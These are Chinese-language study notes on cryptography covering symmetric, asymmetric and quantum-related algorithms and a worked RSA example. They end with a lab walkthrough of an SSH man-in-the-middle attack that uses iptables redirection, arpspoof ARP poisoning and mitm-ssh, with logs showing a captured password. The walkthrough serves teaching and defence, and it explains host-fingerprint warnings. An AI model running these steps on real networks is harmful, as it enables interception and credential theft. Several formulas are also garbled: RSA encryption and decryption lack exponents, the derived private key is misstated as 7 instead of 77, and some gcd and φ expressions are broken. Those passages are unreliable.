目录
一、信息理论
1.1密码学
所谓密码学(cryptology),就是对密码术(crytography)或密码分析学(crytanalysis)的研究。“密码术”是用密码进行通信的过程,“密码分析”是解密或破译秘密通信的过程。
历史上,密码学曾在战争期间引起人们的特别关注,人们用秘密代码与己方部队通信。时至今日,战时应用依然存在。更多关键交易都通过Internet完成,密码学在日常生活中日益流行。网络嗅探的发生频率如此之高,即使认定某些人一直在窃听网络流量,也不算是偏执。若用未加密的协议进行通信,则其他人可能窃听和偷窃密码、信用卡号以及其他私有信息。加密通信协议为此类缺乏保密性的问题提供了解决方法,支撑Internet经济的发展。如果没有SSL(Secure Socket Layer,安全套接字层)加密,主流站点上的信用卡交易将十分不便或者不安全。所有这些受到加密算法保护的私有数据都可能是安全的。目前看来,那些被证明安全的密码系统不太实用;因此,我们不使用数学上证明安全的密码系统,而使用实践上证明安全的系统。当然,也存在本质上不安全的密码系统,原因可能是密码本身的实现、密钥大小或密码分析上存在弱点。
强健的密码系统有助于避免检测。如果攻击者使用加密的通信信道,旨在嗅探网络流量以检测攻击信号的昂贵网络入侵检测系统是无法奏效的。为确保客户安全提供的加密Web访问常被攻击者用作难以监控的攻击媒介。
1.2绝对安全与一次性密码本
对于一个密码系统而言,即使拥有无限的计算资源,也无法将其破译,就可以认为该系统是绝对安全的。这意味着无法对其进行密码分析,即使以暴力攻击方式尝试所有可能的密钥,仍不可能确定哪一个是正确密钥。
一次性密码簿(one-timepad)是绝对安全密码系统的一个例子。一次性密码簿是一非常简单的密码系统,使用称为密码薄的随机数据块。密码簿至少与被编码的明文消息等长,密码簿上的数据必须是真正随机的,按单词原本的意义使用。系统生成两个相同的密码簿:一个给接收方,一个给发送方。为对信息进行编码,发送方只需要将明文消息的每一位与密码簿的每一位执行异或(XOR)操作。完成消息编码后,会销毁密码簿以保证它只被使用一次。然后可将加密消息发送到接收方而不必担心被破译,因为没有密码簿就无法破译已加密的消息。接收方收到加密的消息时,会将加密消息的每一位与密码簿的每一位执行异或操作,以还原成原始明文消息。
虽然从理论上讲,一次性密码簿是不可能破译的,但在实际中并不实用。一次性密码簿的安全性取决于密码簿的安全性。将密码簿分发给接收方和发送方时,始终假设密码簿传递通道是安全的。要真正确保安全,只能当面交换。
1.3量子密钥分发
量子密钥分发使得一次性密码本成为可能。神秘的量子纠缠可提供一种可靠且保密的分发随机位串的方法,该随机位串可用作密钥。这利用了光子中存在的非正交量子态。
简单来讲,光子的偏振指它的电场的振动方向,这种情况下可能是水平、垂直或两条对角线之一。非正交仅表示这些状态被一个非90度的角度隔开。奇怪的是,无法精确测定单个光子具有四种偏振的哪一种。水平和垂直偏振的直线基线和两个对角线偏振的对角线基线是不相容的,因此根据海森堡不确定性原理,这两组偏振不能被同时测量。可用过滤器测量偏振,一个用于直线基线,一个用于对角线基线。若光子通过正确的过滤器,其偏振不会改变;而若通过不正确的过滤器,其偏振将被随机修改。这表明,任何尝试测量光子偏振的窃听行为都可能使数据变得混乱,显然说明通道是不安全的。
Charles Bennett 和Gilles Brassard率先提出量子密钥分发方案BB84,该方案也是最知名的方案,很好地利用了量子力学这些怪异特征。发送方和接收方首先商定四个偏振的位表示,使每个基线都有1和0。因此可用垂直偏振的光子和对角线偏振的光子之一(正45度)表示1,用水平偏振的光子和另一个对角线偏振的光子(负45度)表示0。采用这种方式测量直线偏振和对角线偏振时,1和0都存在。此后,发送者发送一个随机光子流,每个光子都来自随机选择的基线(直线或对角线),并记录下这些光子。接收者收到一个光子时,也随机地选择以直线基线或对角线基线进行测量并记下结果。现在,双方公开比较每一方用了哪个基线,并且只保持双方使用相同基线测量的光子所对应的数据。这并未暴露光子位置,因为每个基线都有1和0。这构成了一次性密码簿的密钥。
因为窃听者最终将改变某些光子的偏振,造成数据混乱,所以通过计算密钥的某些随机子集的错误率可检测窃听。如果错误太多,则说明很可能有人正在窃听,应当丢弃该密钥。否则,密钥数据的传递是安全且机密的。
1.4计算安全性
如果用主流算法破译某个密码系统所需的计算资源和时间量太多,已经脱离实际,则认为该系统是计算安全的。这意味着,即使从理论上讲,窃听者可破译密码,实际上也是行不通的,因为所需的时间和资源量远超加密信息的价值。通常,即使使用庞大计算机资源阵列,破译计算安全的密码系统也需要数万年。大多数现代密码系统都属于这种类型。
二、对称加密
2.1对称加密的特点
对称密码是使用相同密钥对消息进行加密和解密的密码系统。通常而言,其加密和解密过程比非对称加密快,但密钥分发较为困难。
这些密码通常是块密码或流密码。块密码操作时使用固定大小的块,通常是64位或128 位。若使用相同密钥,相同的明文总会加密为相同的密文块。DES、Blowfish 和 AES(Rijndael)都是块密码。流密码生成一个伪随机位流,一次通常是一位或一个字节,称为密钥流,与明文执行异或(XOR)操作;这可用于加密连续的数据流。RC4和LSFR都是流行的流密码示例。
2.2DES、3DES和AES
DES 和 AES 都是流行的块密码。DES使用了分组密码设计的两个基本原则:混淆(confusion)和扩散(diffusion),其目的是抗击敌手对密码系统的统计分析。混淆是使密文的统计特性与明文、密钥值之间的关系尽可能复杂化,以使密钥和明文以及密文之间的依赖性对密码分析者来说是无法利用的。扩散的作用是将明文中每一位的影响尽可能迅速作用到较多的输出密文位中,以便在大量的密文中消除明文的统计结构,并且使每一位密钥的影响尽可能迅速地扩展到较多的密文位中,以防对密钥进行逐段破译。乘积密码(product ciphers)通过重复使用各种简单操作,将上述两个概念结合在一起。DES和 AES 都是乘积密码。
1.对称加密算法--DES
DES 使用 16 轮运算。轮数是专门选择的,以抵御不同的密码破译。DES唯一真正的已知弱点在于它的密钥大小。由于密钥只有56位,在专用硬件上使用穷举式暴力攻击可在几个星期内检查完整个密钥空间。
三重 DES 使用两个连接在一起总长为112位的 DES 密钥,修正了该问题。加密期间,首先使用第1个密钥加密明文块,然后用第2个密钥解密,最后用第1个密钥再次加密。解密过程与此相似,只是交换了加密与解密操作。增加的密钥长度使得暴力破解的难度呈指数级增长。
DES 还使用 Feistel网络。这应用于很多块密码中,以确保算法是可逆的。本质上,每个块被分成两等份,左(L)和右(R)。此后,在一轮运算中,新的左半部分(L)被设置为旧的右半部分(Ri-1),新的右半部分(R)由旧的左半部分(L-i)与某个函数的输出进行异或的结果组成,该函数的参数是旧的右半部分(Rr-1)和该轮的子密钥(K)。每轮运算通常都有单独的子密钥,这些子密钥被提前计算出来。
2.对称加密算法--3DES
3DES采用两个密钥、三重加密的好处:
1.两个密钥合起来有效密钥长度有112bit,足以满足商业应用的需要,
若采用总长为168bit的三个不同密钥,会产生目前并不必要的开销
2. 加密时采用加密-解密-加密,而不是加密-加密-加密的形式,这样就有
效地实现了与现有DES系统的兼容(当K1=K2时,三重DES的运算效果与原来的DES相同),这有助于3DES的推广。
3 .三重DES有足够的安全性,目前尚未有关于攻破3DES的报道。
3.对称加密算法--AES
Rijndael密码的设计力求满足以下3条标准:
1、抵抗所有已知的攻击。
2、在多个平台上速度快,编码紧凑。
3、设计简单。当前的大多数分组密码,其轮函数是Feistel结构。但Rijndael没有这种结
构。Rijndael轮函数由3个不同的可逆均匀变换构成。
2.3IDEA算法
IDEA是作为迭代的分组密码实现的,使用128位的密钥和8个循环。IDEA被认为是极为安全的。使用128位的密钥,蛮力攻击中需要进行的测试次数与DES相比会明显增大,甚至允许对弱密钥测试。而且,它本身也显示了它尤其能抵抗专业形式的分析性攻击。
由于IDEA是在美国之外提出并发展起来的,避开了美国法律上对加密技术的诸多限制,因此,有关IDEA算法和实现技术的书籍都可以自由出版和交流,可极大地促进IDEA的发展和完善。但由于该算法出现的时间不长,针对它的攻击也还不多,还未经过较长时间的考验。因此,尚不能判断出它的优势和缺陷。
IDEA在密码学中属于数据块加密算法(Block Cipher)类。IDEA使用长度为128bit的密钥,数据块大小为64bit。从理论上讲,IDEA属于“强”加密算法,至今还没有出现对该算法的有效攻击算法。
IDEA算法相对来说是一个比较新的算法,其安全性研究也在不断进行之
中。在IDEA算法公布后不久,就有学者指出:IDEA的密钥扩展算法存在缺陷,导致在IDEA算法中存在大量弱密钥类,但这个弱点通过简单的修改密钥扩展算法(加入异或算子)即可克服。
有人提出了对轮数减少的IDEA的两种攻击算法:对3.5轮IDEA的截短差分攻击和对3轮IDEA的差分线性攻击。但作者也同时指出,这两种攻击算法对整8.5轮的 IDEA算法不可能取得实质性的攻击效果。目前尚未出现新的攻击算法,一般认为攻击整8.5轮IDEA算法唯一有效的方法是穷尽搜索128bit的密钥空间。
2.4Lov Grover的量子搜索算法
量子计算提供了巨量并行计算的可能性。量子计算机可用叠加态(可看作一个数组)存储许多不同的状态,并在所有这些状态上立即执行计算。这对于暴力破解任何密码(包括块密码)都是十分理想的。可用叠加态装入全部可能的密钥,然后同时在所有密钥上执行加密操作。棘手的部分是从叠加态中得到正确值。量子计算机不可思议,因为查看叠加态时,整个状态脱散为某个单一状态。遗憾的是,脱散是随机的,叠加态中的每个状态有相同的概率脱散为该状态。
虽然无法操纵叠加状态的概率,但通过猜测密钥可获得相同的效果。Lo Grover 提出了一种能够操纵叠加状态概率的算法。该算法允许某些期望的状态的概率增加而其他状态的概率降低。可将该过程重复若干次,直至基本能够保证叠加态脱散为所需的状态。这需要O根号n步。
运用某些基本的指数数学技巧即可发现,对于穷举暴力攻击,该算法不过有效地将密钥大小减半。因此,极度妄想者会认为,只要将块密码的密钥大小加倍,将使其甚至具备能够抵抗量子计算机进行穷举暴力攻击的理论可能性。
三、非对称加密
3.1RSA
RSA是最流行的非对称算法之一。RSA的安全性建立在大数分解的难度上,首先选择
两个素数,P和Q,其乘积为N。
N=P*Q
然后计算1和N-1之间与N互质的数的个数:所谓互质,指两个数的最大公约数是1。这称为欧拉φ函数。
例如,φ(9)=6,原因在于1、2、4、5、7和8与9互质。很明显,如果N是素数,φ(M)将为N-1。一个隐含的事实是,如果N是两个素数P和Q的乘积,则有φ(P·2)=(P-)(0-1)。这十分有用,因为RSA 必须计算中(N)。
必须随机选择一个与φ(N)互质的加密密钥E。然后找到一个符合下列等式的解密密钥,其中 S是任意整数。
E*D=S*φ(N)+1
可用扩展的欧拉算法进行求解。欧拉算法非常古老,恰好可快速计算出两个数的最大公约数(gcd)。用两个数中的大数除以小数,需要注意余数部分。然后用小数除以余数,重复该过程,直至余数为0。0之前的最后一个余数就是两个原数的最大公约数。该算法的速度相当快,运算时间为O(log10N),这意味着需要花费与大数的位数一样多的步骤来计算答案。
在表7.1中计算 7253和120的最大公约数,写作gcd (7253,120),开始时将这两个数放到A列和B列,将大数在A列,然后用A除以B,余数放在R列。在下一行中,原来的 B列成为新的A列,原来的R列成为新的B列,然后再次计算R。重复该过程,直到余数为0。0之前的最后一个R值就是最大公约数。
因此可知,7253和120的最大公约数是1,即7253 和 120 互质。当gcd (A,B)=R时,扩展欧拉算法用于查找这样的两个整数J和K:J·A+K·B=R。这是通过逆向运用欧拉算法实现的。此时,商很重要。下面对上例再次执行数学计算,使用了商:
7253=60*120+53;
120=2*53+14;
53=3*14+11;
14=1*11+3;
11=3*3+2;
3=1*2+1;
由代数基本知识可知,上述等式可以移项,因此将余数项(显示为粗体)单独列在等号左侧。
53=7253-60*120;
14=120-2*53;
11=53-3*14;
3=14-1*11;
2=11-3*3;
1=3-1*2;
先来看最后一行,如下:
1=3-1*2
其上面的一行是2=11-3*3,是2的代换:1=3-1*(11-3*3);1=4*3-1*11
再上一行是3=14-1*11,也可用作3的代换:
1=4*(14-1*11)-1*11;
1=4*14-5*11;
当然,再往上一行是11=53-3·14,指示另一个代换:
1=4*14-5*(53-3*14);
1=19*14-5*53;
遵循这一模式来看再上一行14=120-2*53,得到另一个代换:
1=19*(120-2*53)-5*53;
1=19*120-43*53;
最后,最顶行显示的是53=7253-60*120,作为最后的代换:
1=19*120-43*(7253-60*120);
1=2599*120-43*7253;
2599*120+(-43)*7253=1;
由此可知,J和K分别是2599 和-43。
上例中选择的数适合RSA。假设P和Q的值是11和 13,N将为143。
因此φ(N)=120=(11-1)*(13-1)。由于7253 和120互质,因此7253是一个十分合适的E值。
回顾前面的内容可知,目的是寻找一个满足以下等式的D值: E*D=S*(N)+1
运用一些基本的代数知识,可将上式转化为我们熟悉的形式:
D*E+S*φ(N)=1;
D*7253±S*120=1;
使用由扩展欧拉算法得到的值可知,D=-43。S值无关紧要,它实际上对中(N)求模,即对120求模。由于120-43=77,因此D的正等效值是7。可将它们代入前面的等式中:
E*D=S*φ(N)+1
7253*77=4654*120+1
N和E作为公钥分发,D作为私钥保存。将P和Q丢弃。加密和解密函数十分简单。加密:C=M(modN)解密:M=C(modN)
例如,若消息 M是98,则加密函数如下所示:98^7253=76(mod143)
密文是 76。只有了解D值的人才能解密消息,从数字76中恢复数字98,如下所示:76^77=98(mod143)
显然,如果消息M大于N,则必然将其分解为小于N的块。
欧拉定理指出,如果M与N互质,而且M是较小的数,那么当M自乘φ(N)次,再除以N,余数总为1。可用欧拉φ定理来实现这一过程。
也就是说,如果gcd(M,N)=1,且M<N,则M^φ(N)=1(modN)由于都对N求模,以下公式以模数运算方式相乘,因此也是正确的:【M^φ(N)】*【M^φ(N)】=1*1(modN),
即:M^2φ(N)=1(modN)
将该过程重复执行S次,将得到以下结果:
M^S*φ(N)=1(modN)
若等式两边同乘以 M,则结果为:
M*M^S*φ(N)=1*M(modN)
M^[S*φ(N)+1]=M*(modN)
该等式基本上是 RSA 的核心。数字M自乘并以N为模,将再次生成原数M。这实质上是一个返回自身输入的函数,本身并无价值。但是,若将该等式分解为两个单独部分,其后将一部分用于加密,另一部分用于解密,将再次生成原消息。可通过寻找两个数做到这一点,将两个数E和D相乘,使其等于S乘以φ(N)加1。然后将该值代入先前的等式。
E*D=S*φ(N)+1;
M^ED=M(modN);
上式等于:
M^E^D=M(modN);
可将上式分解为两个步骤:
ME=C(modN);
CD=M(modN);
上面介绍了 RSA的基本内容。算法的安全性主要取决于能否保持D的秘密性。但由于N和E值都是公开的,因此可用(P-1)*(Q-1)方便地计算出φ(N),此后可用扩展欧拉算法确定D。由此可知,必须用最著名的因子分解算法选择RSA的密码大小、来确保计算的安全性。NFS(Number Field Sieve,数域筛法)是一种十分流行的知名因子分解算法该算法使用亚指数级别的运行时间,相当不错,但要在合理的时间内攻破2048 位RSA 密钥,它仍然达不到速度要求。
3.2EIGamal加密算法
1. Elgamal密钥产生
- 随机选择一个大素数p,再选择一个模p的本原a,将p和a公开。
- 随机选择一个整数d作为密钥,2≤d≤p-2 。
- 计算公钥pb=a^d mod p。
2. Elgamal加密
- 文明定为M
- 随机地选取一个整数f,2≤f≤p-2
- 密文 C1=a^f mod p
- 密文 C2=M* pb^f mod p
- 密文为C1,C2)
3. Elgamal解密
- 明文M=C2/C1^d mod p
- 首先求C1^d 的逆元mod p 的结果 C3
- 然后将C2与C3相乘再mod p 得到明文M
C2/C1^d mod p =C2 * X mod p=(C2 mod p * X mod p) % p
X=(C1 ^ d)^(p-2)
3.3椭圆曲线算法
椭圆加密算法(Elliptic curve cryptography,ECC)是一种公钥加密体制,最初由Koblitz和Miller两人分别于1985年提出,其数学基础是利用椭圆曲线上的有理点构成Abel加法群上椭圆离散对数的计算困难性。
公钥密码体制根据其所依据的难题一般分为三类:大整数分解问题类、离散对数问题类、椭圆曲线类。有时也把椭圆曲线类归为离散对数类。椭圆曲线在密码学中的使用是在1985年由Neal Koblitz和Victor Miller分别独立提出的。
椭圆加密算法ECC的主要优势是在某些情况下它比其他的方法使用更短的密钥,却能提供相当的或更高等级的安全。ECC的另一个优势是可以定义群之间的双线性映射,基于Weil对或是Tate对;双线性映射已经在密码学中发现了大量的应用,例如基于身份的加密。不过一个缺点是加密和解密操作的实现比其他机制花费的时间长。
ECC加密算法可以采用不同的椭圆曲线.。不同的椭圆曲线具备不同的安全等级、不同的性能、不同的key长度,以及可能涉及到的不同底层算法。ECC keys的长度取决于它采用了哪种椭圆曲线。
椭圆曲线密码学基于数学上的椭圆曲线有限域提供了不同使用场景的相关算法。
- ECC 数字签名相关算法: ECDSA、EdDSA
- ECC 加密算法: ECIES、EEECC
- ECC秘钥协商算法: ECDH、X25519等
在ECC中,密钥生成就像在一定范围内安全地生成一个随机整数一样简单,所以这个过程非常的快。 任何在这个范围的整数都是有效的ECC private keys。
3.4Peter Shor的量子因子算法
该算法的技巧十分简单。取一个数N,进行因数分解,选择一个小于N的数A。A应当与N互质,但假设N是两个素数的乘积(尝试分解因数破译RSA时,情况始终如此),如果A与N不互质,那么A是N的一个因子。
接下来,用从1开始计数的序列号加载叠加,每个值都通过函数f(x)=A^x*(modN)输入。所有这些都利用量子计算的魔力同时完成。结果将出现一种重复模式,必须找到重复周期。幸运的是,所有这些能在量子计算机上用傅立叶变换快速完成。重复周期称为R。
然后计算gcd(A^R/2+ 1,N)和gcd(A^R/2- 1,N)。这两个值中至少应该有一个是N的因子。由于A^R= 1(modN),这是可能的。下面对其做进一步解释。
A^R = 1 (modN);
(A^R/2)2 = 1(modN);
(A^R/2)2 - 1 = 0(modN);
(A^R/2- 1)*(A^R/2+1)=0(modN);
这意味着,(A^R/2- 1)*(A^R/2+1)是N的整数倍。只要这些值不为零,其中一个值就有与 N相同的因子。为攻击前面的 RSA示例,必须对公钥值N分解因子,这里N=143。接下来选择与N互质且小于N的数A,因此A=21。这时函数为f(x)=21^x(mod143)。将从1开始,直到量子计算机允许的每个连续值都代入该函数。
为简洁起见,假设量子计算机有3个量子位,因此叠加态可容纳8个值。
x=1 21^1(mod143)= 21
x=2 21^2(mod143)=12
x=3 21^3(mod143)=109
x=4 21^4(mod143)=1
x=5 21^5(mod143)= 21
x=6 21^6(mod143)=12
x=7 21^7(mod143)=109
x =8 21^8(mod143)=1
很容易就能看出周期R是4。利用这些信息,可知gcd(21^2-1143)和gcd(21^2 + 1143)至少应生成一个因子。实际上这里出现了两个因子,原因在于gcd(440,143)=11并且 gcd(442,142)=13。此后,可用这些因子重新计算前面RAS 示例的私钥。
四、混合密码
混合密码系统综合了两个密码领域的优势。非对称密码用于交换随机生成的密钥,该密钥用于使用对称密码加密其余的通信信息。它不仅能够保证对称密码的速度与效率,也解决了安全交换密钥的难题。大多数现代密码应用(如SSL、SSH和PGP)都采用混合密码。
由于多数交换应用采用了能抵御密码破译的密码,攻击密码通常不起作用。但是,若攻击者可在通信双方之间截取通信,并伪装成两者之一,将可攻击密钥交换算法。
4.1中间人攻击
中间人(Man-in-the-Middle,MitM)攻击是一种设法回避加密的巧妙方式。攻击者位于通信双方之间,双方都确信自己正与另一方通信,但实际上,双方都在与攻击者通信。
建立了双方之间的加密连接时,会生成一个密钥,并使用非对称密码传递该密钥。通常使用该密钥对双方进一步的通信进行加密。由于该密钥以安全方式传递,而且后续流量受到该密钥的保护,因此这些流量对任何窃听这些数据包的潜在攻击者而言是难以理解的。
而在中途攻击中,A相信自己正与B通信,B相信自己正与A通信;实际上,两方都在与攻击者通信。因此,当A与B协商一个加密的连接时,A实际上打开一个通往攻击者的加密连接,这意味着,攻击者使用非对称密码进行安全通信,并获悉了密钥。此后,攻击者只需要打开与B之间的另一个加密连接;B也相信自己正与A通信。
这意味着,攻击者实际上用两个单独的加密密钥维持着两个独立的加密通信通道。从 A发出的数据包被第一个密钥加密并发送到攻击者,此时,A实际上认为攻击者就是 B。此后,攻击者用第1个密钥解密这些数据包,用第2个密钥对数据包重新加密,再将重新密的数据包发送到B。B认为这些数据包就是A发送的。由于位于中间,并保持两个单密钥,攻击者能窃听甚至修改A和B之间的通信,而通信双方都不知情。
用ARP缓存投毒工具重定向流量后,可使用许多SSH中间人攻击工具。这些工具中,大多数只是对现有openssh源代码做了修改。一个著名的例子是由laes Nyberg命名的 mitm-ssh 工具包,本书的LiveCD中包含这个工具包。
为实施该攻击,可使用ARP重定向技术以及经过修改的openssh 工具包 mitmssh。虽然还有能实现该功能的其他工具,但Claes Nyberg的mitm-ssh是公开的,是最可靠的。该工具位于LiveCD的/usr/src/mitm-sh文件夹中,已生成和安装。在运行时,它接受与已知端口的连接,然后作为代理,连接到目标SSH服务器的真正目标IP地址。借助arpspoof的帮助向 ARP缓存投毒的情况下,可将通往目标SSH服务器的流量重定向到攻击者正在运行mitm-ssh的计算机。由于该程序在本地主机上监听,因此要重定向流量。可能需要一些IP筛选规则。
在下例中,目标 SSH服务器位于192.168.42.72。mitm-ssh运行时,它将监听端口2222.因此不需要以root身份运行。iptables 命令告诉 Linux将端口22的所有输入连接重定向至本地主机 2222,即mitm-ssh 将要侦听的端口。
reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -REDIRECT --to-ports 2222
reader@hacking:~ $ sudo iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
Chain POSTROUTING (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
reader@hacking:~ $ mitm-ssh
..
/|\ SSH Man In The Middle [Based on OpenSSH_3.9p1]
_|_ By CMN <cmn@darklab.org>
Usage: mitm-ssh <non-nat-route> [option(s)]
Routes:
<host>[:<port>] - Static route to port on host
(for non NAT connections)
Options:
-v - verbose output
-n - Do not attempt to resolve hostnames
-d - Debug, repeat to increase verbosity
-p port - Port to listen for connections on
-f configfile - Configuration file to read
Log Options:
-c logdir - Log data from client in directory
-s logdir - Log data from server in directory
-o file - Log passwords to file
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key.
RSA key generation complete.
此时,在同一台计算机的另一个终端窗口中用Dug Song的arpspoof欺骗工具向ARP缓存投毒,将原本要去往192.168.42.72的流量重定向到我们的计算机。
reader@hacking:~ $ arpspoof
Version: 2.3
Usage: arpspoof [-i interface] [-t target] host
reader@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:31:7:39:9c
0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
这样,就完成了中间人攻击的设置,为攻击下一个毫无防备的受害者做好了准备。以下输出来自网络上的另一台计算机(192.168.42.250),这台计算机与192.168.42.72建立了SSH连接。
在192.168.42.250(tetsuo)计算机上,连接到192.168.42.72(loki)
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Are you sure you want to continue connecting (yes/no)? yes
warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password:
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki:~ $ exit
logout
Connection to 192.168.42.72 closed.
iz@tetsuo:~ $
看起来一切正常,连接也看似安全。然而,连接已经悄无声息地转移到攻击者的计算机。攻击者的计算机使用不同的加密连接反向连接目标服务器。在攻击者计算机上,记录有关该连接的一切。
reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
WARNING: /usr/local/etc/moduli does not exist, using fixed modulus
[MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929
[MITM] Routing ssh2 192.168.42.250:1929 -> 192.168.42.72:22
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
[MITM] Connection from UNKNOWN:1929 closed
reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/passwd.log
ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2*
Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) groups=1001(jose)
jose@loki:~ $ exit
logout
由于身份验证实际上被重定向,攻击者的计算机担当了代理,密码sP#byp%srt可能被嗅探。另外,会捕捉连接期间传输的数据,向攻击者展示受害人在SSH会话期间所做的一切。
这种攻击之所以能够得逞,原因在于攻击者能够伪装成任何一方。SSL和SSH设计时注意到了这一点,采取了防御身份欺骗的保护措施。SSL用证书验证身份,而SSH使用主机指纹。如果A尝试打开与攻击者的加密连接通道,而攻击者没有B的正确证书或指纹由于签名不匹配,A将收到警告。
在上例中,192.168.42.250(tetsuo)之前从未通过SSH与192.168.42.72(1oki)通信,因此没有主机指纹。收到的主机指纹实际上是由mitm-ssh生成的。而若192.168.42.250(tetsuo)有一个用于192.168.42.72(loki)的主机指纹,将检测到整个攻击,会向用户发出一个十分明确的警告。
iz@tetsuo:~ $ ssh jose@192.168.42.72
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Please contact your system administrator.
Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message
Offending key in /home/jon/.ssh/known_hosts:1
RSA host key for 192.168.42.72 has changed and you have requested strict checking.
Host key verification failed.
iz@tetsuo:~ $
实际上,在删除原来的主机指纹之前,openssh客户机将阻止用户连接。然而,许多Windows SSH客户机并未严格实施这些规则,会通过一个“确信继续吗?”对话框提示用户。那些无知的用户可能单击“继续”按钮,而忽略该警告。
4.2不同的SSH协议主机指纹
SSH主机指纹确实有一些漏洞,这些漏洞已在openssh的最新版本中得到修正,但在openssh旧版本中这些漏洞依然存在。通常,在第一次与新主机建立SSH连接是,该主机的指纹会被添加到known_hosts文件中,如下所示:
iz@tetsuo:~$ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password: <ctrl-c>
iz@tetsuo:~$ grep '192.168.42.72' ~/.ssh/known_hosts
192.168.42.72 ssh-rsa
AAAAB3NzaClyc2EAAAABIwAAAIEA8Xq6H28E0iCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoK0KSaTUCWORN/1t3G/52KTzjtKGacX4gTLNSc8fzfZU=
iz@tetsuo:~$
但存在两种不同的SSH协议——SSH1和SSH2,这两个协议使用不同的主机指纹。
iz@tetsuo:~ $ rm ~/ssh/known_hosts
iz@tetsuo:~ $ ssh -1 jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo:~ $ ssh -2 jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? no
Host key verification failed.
iz@tetsuo:~ $
SSH服务器呈现的banner描述了该服务器能理解哪个SSH协议。(第一段和第二段的最后一行)
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo:~ $ telnet 192.168.42.1 22
Trying 192.168.42.1...
Connected to 192.168.42.1.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Connection closed by foreign host.
iz@tetsuo:~ $
来自192.168.42.72(loki)的 banner 包括字符串“SSH-1.99”。根据约定,这说明该服务器理解协议1和2。通常,用形如“Protocol2,1”的行配置SSH服务器,这也意味着服务器理解两种协议,并尽量使用SSH2。这样可保持向后兼容性,即使客户机仅支持SSH1,仍能连接。
与前一个服务器相反,来自192.168.42.1的 banner 包括字符串“SSH-2.0”,这说明该服务器仅理解协议2。很显然,在这种情况下,任何与它连接的客户机只能使用SSH2通信,因此只有用于协议2的主机指纹。
